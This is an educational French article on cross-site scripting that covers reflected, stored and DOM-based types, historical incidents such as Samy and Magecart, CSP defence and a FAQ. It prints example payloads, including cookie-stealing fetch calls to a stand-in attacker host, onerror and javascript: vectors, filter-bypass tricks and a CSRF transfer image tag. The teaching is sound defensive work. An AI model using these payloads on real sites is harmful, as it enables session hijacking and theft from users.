XSS

01 — DéfinitionQu'est-ce qu'une XSS ?

Le XSS (Cross-Site Scripting) est une attaque applicative qui consiste à injecter du code JavaScript malveillant dans une page web, pour qu'il s'exécute dans le navigateur des victimes qui consultent cette page.

La différence majeure avec les injections SQL

Contrairement à une injection SQL qui cible le serveur, le XSS cible les utilisateurs finaux. Le serveur est juste l'intermédiaire qui accepte et propage le code malveillant. Un attaquant XSS ne vole pas directement la base de données — il détourne le navigateur des visiteurs d'une page, ce qui peut conduire à des dégâts massifs via le vol de sessions authentifiées.

Pourquoi s'appelle-t-on « Cross-Site » ?

Historiquement, les premières attaques XSS concernaient des scripts d'un site injectés dans un autre site. Aujourd'hui le nom est légèrement trompeur : la plupart des XSS modernes ne sont plus « cross-site » au sens strict mais injectent du code dans le même site que celui visité. Le nom est resté. Microsoft a forgé le terme en 2000, Mark Slemko et d'autres ayant documenté les attaques depuis ~1996.

Exemple minimal

Une page de recherche affiche :

<p>Vous avez cherché : [votre_recherche]</p>

Le code PHP vulnérable :

echo "Vous avez cherché : " . $_GET['q'];

Un attaquant envoie à sa victime le lien :

https://site.com/search?q=<script>fetch('https://attaquant.com/?c='+document.cookie)</script>

Quand la victime ouvre le lien, son navigateur reçoit et exécute le JavaScript, qui envoie ses cookies au serveur de l'attaquant. Le cookie de session ainsi volé permet à l'attaquant de se connecter en tant que la victime, sans même connaître son mot de passe — et contournant la MFA déjà passée.

Conséquences typiques

• Vol de cookies de session : détournement de compte sans mot de passe.
• Vol de credentials : faux formulaire de login injecté dans la page.
• Keylogging : enregistrement des frappes clavier sur la page.
• Phishing avancé : modification visuelle pour tromper (ex. fausse page de paiement sur un vrai site e-commerce).
• Actions au nom de la victime : changements de profil, envoi de messages, transferts d'argent.
• Exfiltration de données : lecture de données affichées sur la page.
• Magecart / e-skimming : vol de numéros de cartes bancaires sur pages de paiement.
• Déploiement de malwares : drive-by download, exploits navigateur.
• Cryptomining : minage de cryptomonnaie via le CPU de la victime.
• Propagation en ver : XSS stored peut se répliquer automatiquement (Samy Worm 2005).

Classement OWASP

Classé catégorie distincte dans l'OWASP Top 10 pendant 20 ans, XSS a été fusionné avec les injections dans la catégorie A03 Injection en 2021. Ce n'est pas un signe que XSS est moins dangereux : simplement une reconnaissance qu'il partage le même problème racine que SQL injection — des données utilisateur interprétées comme code.

Le XSS est l'attaque qui transforme un site web légitime en vecteur d'attaque contre ses propres utilisateurs. Le site n'est pas « piraté » au sens classique — il est instrumentalisé pour nuire à ses visiteurs. D'où la gravité morale de ces failles : la victime ne peut pas se défendre sans quitter le site de confiance.

02 — FonctionnementAnatomie d'une XSS

Les conditions d'une XSS

Trois éléments doivent coexister :

• Un point d'entrée : une entrée utilisateur acceptée par l'application (URL, formulaire, header, fichier uploadé).
• Une restitution dans une page : cette entrée est affichée dans le HTML rendu aux utilisateurs.
• Absence d'échappement approprié : l'entrée est insérée telle quelle, sans traitement sécurisé.

Si les trois conditions sont réunies, un attaquant peut soumettre une entrée contenant du JavaScript qui sera exécuté dans le navigateur des autres utilisateurs.

Anatomie d'un payload XSS

Payload basique :

<script>alert('XSS')</script>

Payload réaliste pour vol de cookies :

<script>
  fetch('https://attaquant.com/steal?c=' + encodeURIComponent(document.cookie));
</script>

Payload avec événement HTML (souvent utilisé pour contourner des filtres qui bloquent <script>) :

<img src=x onerror="alert('XSS')">

Payload avec javascript: URL :

<a href="javascript:alert('XSS')">Cliquez ici</a>

Payload sans balise HTML (utilisé en contexte d'attribut) :

" onmouseover="alert('XSS')

Contextes d'injection

Le payload nécessaire dépend du contexte où l'entrée est insérée dans le HTML :

• Body HTML : <p>[entrée]</p> — injection de balises.
• Attribut HTML : <input value="[entrée]"> — échapper l'attribut puis injecter un événement.
• JavaScript : var x = "[entrée]"; — échapper la chaîne puis injecter du code.
• URL : <a href="[entrée]"> — injecter javascript:.
• CSS : style="color: [entrée]" — injection de propriétés dangereuses (expressions IE).
• JSON dans HTML : injection dépend du parsing.

Techniques de contournement des filtres

Si le site tente de bloquer XSS par blacklist (filtrer <script>), les attaquants utilisent :

• Encodage HTML : <script>, entités décimales, hexadécimales.
• Encodage URL : %3Cscript%3E.
• Casse mixte : <ScRiPt>.
• Événements HTML alternatifs : onerror, onload, onmouseover, onfocus, etc. Plus de 100 handlers existent.
• Balises alternatives : <svg>, <video>, <iframe>, <object>.
• Commentaires HTML : intercalés pour tromper les parseurs.
• Unicode et homographes : caractères qui ressemblent mais sont différents.

D'où l'inefficacité des blacklists — la liste blanche ou l'échappement contextuel est la seule approche fiable.

Le contexte JavaScript dangereux

Quand l'entrée utilisateur arrive directement dans un contexte JavaScript, les risques sont maximaux :

// Côté serveur — génère du JS intégré
<script>
  var welcome = "Bonjour <?= $_GET['name'] ?>";
</script>

Avec ?name=Bob"; alert('XSS'); //, cela devient :

var welcome = "Bonjour Bob"; alert('XSS'); //";

Le code s'exécute directement sans même besoin d'une balise <script> supplémentaire.

Outils d'automatisation

• XSSer, XSStrike : scanners dédiés XSS.
• OWASP ZAP : module active scan XSS.
• Burp Suite : scanner XSS dans l'édition Professional.
• BeEF (Browser Exploitation Framework) : framework pour exploitation XSS post-compromission — control panel pour « hooker » des navigateurs victimes.
• XSSHunter : service pour détecter les XSS stored (payload qui « téléphone maison »).

03 — TypesLes trois formes principales de XSS

1. XSS Reflected (reflétée)

Le payload est envoyé dans une requête (typiquement un paramètre d'URL, un header, un formulaire) et renvoyé immédiatement dans la réponse HTML. Le serveur ne stocke rien de durable.

Cas typique

Une page de recherche : /search?q=televiseur → la page affiche « Résultats pour : televiseur ». Si le terme est inséré sans échappement, un lien piégé :

/search?q=<script>steal()</script>

envoyé à la victime (par phishing, SMS, forum) exécute le JS au moment où elle clique.

Caractéristiques

• Requiert que la victime clique un lien spécifique : typiquement via phishing.
• Impact limité aux victimes ciblées : contrairement au stored qui touche tous les visiteurs.
• Plus facile à détecter : le payload est visible dans l'URL.
• Souvent combiné avec spear phishing : URL raccourcie, email personnalisé.

2. XSS Stored (stockée, persistent)

Le payload est stocké côté serveur (base de données, fichier, cache) puis réaffiché à tous les visiteurs de la page concernée. Pas besoin que la victime clique un lien particulier — elle est attaquée simplement en consultant la page.

Vecteurs typiques

• Commentaires de blog : l'attaquant poste un commentaire avec JavaScript, tous les lecteurs sont affectés.
• Profil utilisateur : biographie, nom affiché, site web qui s'affiche à d'autres.
• Messages de forum : posts visibles par tous.
• Noms de fichiers uploadés : si affichés quelque part.
• Chat en ligne : messages qui s'affichent dans l'interface.
• Réponses d'API consultées côté client : données revenant au browser non échappées.

Pourquoi c'est le plus dangereux

• Impact massif automatique : tous les utilisateurs de la page sont attaqués.
• Effet ver possible : payload qui se propage (Samy Worm 2005 sur MySpace, XSS Twitter 2010).
• Persistant : reste actif tant que la donnée est en base.
• Peut cibler les administrateurs : XSS sur un panel admin peut compromettre les hauts privilèges.

3. XSS DOM-based

Le payload n'atteint jamais le serveur — il est traité entièrement côté client par du JavaScript mal sécurisé qui manipule le DOM avec des entrées non fiables (URL fragment, location.hash, localStorage, postMessage).

Exemple classique

// JavaScript côté client vulnérable
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Avec l'URL : ?name=<img src=x onerror=alert(1)> l'innerHTML interprète le HTML et exécute l'événement. Le serveur ne voit pas passer le payload — il n'est pas dans la requête côté serveur, juste dans le fragment ou le hash.

Caractéristiques

• Invisible côté serveur : logs serveur ne voient rien de suspect.
• Difficile à détecter : scanners classiques basés sur l'analyse de requêtes/réponses manquent souvent.
• En croissance avec les SPA : applications full-JavaScript (React, Vue, Angular) ont plus de surface côté client.
• Sources dangereuses typiques : location.hash, location.search, document.referrer, localStorage, postMessage, window.name.
• Sinks dangereux : innerHTML, document.write, eval, setTimeout avec chaîne, Function().

Variantes et types apparentés

Self-XSS

L'attaquant convainc la victime de coller elle-même un payload dans sa console navigateur, promettant un « hack » ou fonctionnalité cachée. Facebook et autres grands sites affichent maintenant des avertissements explicites dans la console pour contrer.

Blind XSS

XSS stored où l'attaquant ne voit pas immédiatement si elle s'exécute — le payload ne se déclenche que plus tard, souvent dans un contexte différent (panel admin, backoffice, système de reporting). Nécessite des outils comme XSSHunter qui « téléphonent maison » quand exécutées.

Mutated XSS (mXSS)

Exploite les différences entre comment le parseur du navigateur interprète le HTML vs comment la bibliothèque de sanitisation l'a analysé. Le HTML « sûr » après sanitisation est ré-interprété différemment par le navigateur, réintroduisant une XSS.

Universal XSS (uXSS)

Vulnérabilité dans le navigateur lui-même qui permet une XSS cross-origin, contournant la Same-Origin Policy. Rare mais critique — considéré comme des zero-day navigateur majeurs.

04 — ExemplesIncidents historiques marquants

Samy Worm (octobre 2005)

Le ver XSS le plus rapide de l'histoire. Samy Kamkar, 19 ans, exploite une XSS stored sur MySpace via un payload CSS+JavaScript dans son profil. Le code faisait de chaque visiteur un « ami » de Samy, et copiait le payload sur son propre profil. Propagation exponentielle : 1 million d'amis en 20 heures. MySpace a été forcé de fermer temporairement le site. Samy a reçu 3 ans de probation, 90 jours de travaux d'intérêt général et une restriction d'usage d'Internet. Il est devenu chercheur sécurité reconnu par la suite (BadUSB, MagSpoof, PoisonTap).

Twitter XSS Worm (2010)

XSS stored dans les tweets : un attribut onMouseOver dans un tweet déclenchait du JavaScript qui faisait retweeter le payload à la victime. Propagation mondiale en quelques heures, avec des tweets autonomes sans action utilisateur intentionnelle. Patché rapidement mais illustre l'impact viral possible.

British Airways / Magecart (2018)

380 000 cartes bancaires volées via injection d'un script malveillant dans le checkout de British Airways — technique Magecart. Le groupe attaquant a compromis un script JavaScript tiers chargé sur la page de paiement, qui exfiltrait les numéros de carte saisis. Forme hybride XSS / supply-chain. Amende record ICO : 20 M£ (initialement annoncée à 183 M£, réduite par la suite).

Magecart campaigns (2016+)

Vague d'attaques visant les checkouts e-commerce par injection de JavaScript pour voler les cartes bancaires. Cibles : British Airways 2018, Newegg 2018, Ticketmaster 2018, Macy's 2019, Forbes 2019, Olympics Partner Tickets 2024, milliers de sites Magento et WooCommerce moins connus. Technique :

• Compromission de scripts tiers chargés sur la page (analytics, chat, fonts).
• Compromission directe du serveur pour modifier les JS servis.
• Skimmer injecté qui capture les formulaires de paiement en temps réel.
• Exfiltration vers un domaine contrôlé par l'attaquant.

Vecteur majeur de vol de cartes bancaires dans les années 2018-2024, en évolution constante.

TikTok (2020, divulgation responsable)

Chercheurs Check Point démontrent plusieurs vulnérabilités dont une XSS stored dans les profils TikTok, potentiellement utilisable pour détourner les comptes. Divulgation responsable, patchée avant exploitation massive. Illustre que même les plateformes modernes bien dotées en sécurité ne sont pas immunisées.

eBay (2014-2017)

Série de XSS dans les annonces permettant le détournement de paiements : scripts malicieux redirigeaient les acheteurs vers de fausses pages de checkout. Plusieurs vagues, eBay critiqué pour la lenteur des correctifs. Illustre le risque d'interfaces user-generated content riches en e-commerce.

Yahoo Mail (2015-2016)

Plusieurs XSS stored dans Yahoo Mail exploitant la prévisualisation d'emails, récompensées 10 000 USD chacune par le programme bug bounty Yahoo. Chercheur Jouko Pynnönen a trouvé plusieurs instances, démontrant la difficulté de sécuriser complètement des fonctions de rendu riche.

XSS dans Google, Facebook, Twitter (continu)

Les grandes plateformes reçoivent des dizaines à centaines de rapports XSS par an via leurs programmes bug bounty. Gratifications typiques : 500 à 10 000+ USD selon sévérité et context. Illustre que malgré des équipes sécurité massives, les XSS ne disparaissent pas — elles deviennent juste plus subtiles.

Leçons récurrentes

• User-generated content = risque permanent : commentaires, profils, messages.
• Scripts tiers = vecteur supply-chain : chaque script JS chargé est une surface d'attaque.
• Frameworks ne protègent pas tout : dangerouslySetInnerHTML React, v-html Vue contournent les protections par défaut.
• SPA = plus de DOM-based XSS : manipulation JS côté client omniprésente.
• Bug bounty découvre en continu : même les géants corrigent des XSS chaque mois.

05 — ProtectionComment se protéger efficacement

06 — CSPContent Security Policy

Qu'est-ce que la CSP ?

Content Security Policy est un header HTTP qui indique au navigateur quelles sources sont autorisées pour charger les scripts, styles, images, iframes, etc. Ressource définitive contre XSS quand correctement configurée.

Exemple de CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  form-action 'self';

Directives principales

• default-src : fallback pour toutes les autres directives.
• script-src : sources JavaScript autorisées. Critical pour bloquer XSS.
• style-src : feuilles de style autorisées.
• img-src : images autorisées.
• connect-src : requêtes XHR/fetch/WebSocket.
• frame-src / frame-ancestors : iframes autorisées / qui peut nous iframer.
• form-action : URLs de soumission de formulaires.
• object-src : <object>, <embed>. Souvent mis à 'none'.
• base-uri : restriction du tag <base>.
• upgrade-insecure-requests : force HTTPS pour les sous-ressources.

Niveaux de rigueur

CSP permissive (courante mais faible)

script-src 'self' 'unsafe-inline' 'unsafe-eval'

Autorise le JavaScript inline et eval(). Ne protège pas contre XSS — mais bloque au moins les scripts externes non listés.

CSP basique (sans inline)

script-src 'self' https://cdn.example.com

Bloque le JavaScript inline et eval. Protège contre la plupart des XSS reflected. Nécessite refactoring — pas de onclick="" ni de <script>...</script> inline.

CSP stricte (avec nonces)

script-src 'self' 'nonce-random123abc'

Génère un nonce aléatoire à chaque requête, l'inclut dans les <script> légitimes. Protection maximale — seuls les scripts avec le bon nonce s'exécutent. Même une XSS injectée ne peut pas ajouter de script car elle ne connaît pas le nonce.

CSP Level 3 avec hashes

script-src 'self' 'sha256-HASH-DU-SCRIPT-LEGITIME'

Alternative aux nonces — hash des scripts inline légitimes. Plus statique, moins d'impact runtime mais maintenance en cas de changement.

Stratégie de déploiement

Une CSP stricte casse souvent des applications existantes. Approche recommandée :

1. Phase 1 — Report-Only : header Content-Security-Policy-Report-Only qui détecte sans bloquer. Collecte des rapports sur une API.
2. Phase 2 — Analyse : identifier les violations légitimes (scripts tiers utilisés).
3. Phase 3 — Refactoring : éliminer le JS inline, migrer vers des fichiers externes, externaliser les configurations.
4. Phase 4 — Deploy : passer au header actif Content-Security-Policy avec une politique permissive.
5. Phase 5 — Durcir : introduire nonces, réduire progressivement les sources autorisées.

Outils pour CSP

• CSP Evaluator (Google) : évalue la force d'une CSP.
• Report URI / Sentry / Datadog : collectent les rapports de violation.
• Helmet (Express Node.js), django-csp (Django), secure_headers (Rails) : bibliothèques pour faciliter la mise en place.

CSP ne résout pas tout

• Ne protège pas contre les XSS DOM-based où le payload vient de sources côté client.
• Ne protège pas si 'unsafe-inline' ou 'unsafe-eval' sont autorisés.
• Peut être contournée si des fonctionnalités legacy la désactivent pour certaines pages.
• Les Trusted Types sont complémentaires pour DOM-based.

07 — FAQQuestions fréquentes

Quelle différence entre XSS et CSRF ?

Deux attaques distinctes souvent confondues. XSS (Cross-Site Scripting) : injection de JavaScript dans une page, exécuté dans le navigateur des victimes. CSRF (Cross-Site Request Forgery) : un site malveillant fait faire une action au navigateur de la victime sur un autre site où elle est authentifiée. Exemple CSRF : un site piégé contient <img src="https://banque.com/transfer?to=attaquant&amount=1000"> — si la victime est connectée à sa banque, le transfert se fait. Protection CSRF : tokens CSRF, attribut SameSite des cookies. XSS peut permettre de contourner la protection CSRF (un JavaScript dans la page peut lire le token CSRF). Elles sont complémentaires : XSS est plus puissante mais CSRF plus facile à exploiter dans certains contextes.

Les frameworks modernes me protègent-ils complètement ?

Largement mais pas totalement. React, Vue, Angular, Svelte échappent par défaut les expressions, ce qui élimine la grande majorité des XSS non-intentionnelles — c'est une révolution par rapport aux générations précédentes. Mais les risques restent : dangerouslySetInnerHTML (React), v-html (Vue), [innerHTML] (Angular) explicitement opt-out. Manipulation directe du DOM via ref. Chargement de scripts tiers compromis. XSS DOM-based dans du JavaScript qui utilise innerHTML, eval directement. Templates côté serveur (SSR) si non configurés avec échappement. Règle : le framework est un grand pas en avant, mais rester vigilant sur les opt-out explicites et les scripts tiers.

Le vol de cookie via XSS est-il bloqué par HttpOnly ?

Oui et non. HttpOnly empêche effectivement JavaScript d'accéder au cookie via document.cookie. Une XSS ne peut donc pas voler directement un cookie HttpOnly. Mais : le cookie est toujours envoyé automatiquement par le navigateur avec les requêtes au site. Une XSS peut donc faire des requêtes au nom de la victime (transferts, modifications, données) en exploitant la session authentifiée, même sans voler le cookie explicitement. De plus, l'XSS peut voler des données affichées dans la page (dashboards, messages, documents). HttpOnly est une protection critique mais ne rend pas les XSS inoffensives — juste plus difficiles à capitaliser en comptes détournables.

Combien vaut une XSS en bug bounty ?

Très variable selon le type et la cible. Fourchettes courantes 2024-2026 : Self-XSS : 50-300 USD (peu d'impact). XSS reflected sur site standard : 300-2 000 USD. XSS reflected sur site critique (banque, crypto) : 2 000-10 000 USD. XSS stored sur site moyen : 2 000-10 000 USD. XSS stored sur site majeur : 10 000-30 000 USD. XSS stored + account takeover : jusqu'à 50 000 USD sur les plus gros. XSS dans panel admin : bonus élevé. Universal XSS dans navigateur : 100 000+ USD (exceptionnel, niveau zero-day). Les programmes Google Vulnerability Rewards, Facebook Bug Bounty, Apple Security Bounty paient bien. Pour les sites moins dotés, programmes HackerOne, Bugcrowd, YesWeHack avec fourchettes plus modestes.

Un site statique est-il vulnérable au XSS ?

Peu probable pour les XSS traditionnelles mais pas totalement immunisé. Sites purement statiques sans entrée utilisateur : pas de surface pour XSS reflected ou stored côté serveur. Mais : des DOM-based XSS restent possibles si le JavaScript côté client manipule des sources dangereuses (location.hash, document.referrer) de façon non sécurisée. Scripts tiers compromis (analytics, fonts, widgets) peuvent introduire du code malveillant — risque Magecart-like. Fragment URL peut être exploité dans certains générateurs de sites statiques. Les Jamstack/SSG modernes (Next.js, Astro, Hugo) sont relativement sûrs par défaut, mais vérifier tout JS custom.

L'IA va-t-elle éliminer les XSS ?

Probable tendance à la réduction mais pas disparition. Côté défense : les assistants IA génèrent souvent du code avec échappement par défaut, les frameworks qu'ils produisent sont modernes et sûrs. Les outils SAST augmentés par IA détectent mieux les patterns DOM-based XSS subtils. Les navigateurs intègrent plus de protections (Trusted Types, CSP amélioré). Côté attaque : l'IA accélère les tests et la découverte de XSS, permet de générer des payloads de contournement plus rapidement. Globalement, les XSS devraient continuer à diminuer grâce aux frameworks modernes et CSP, mais persisteront tant que du code legacy existe et que le JavaScript manipule des entrées utilisateur.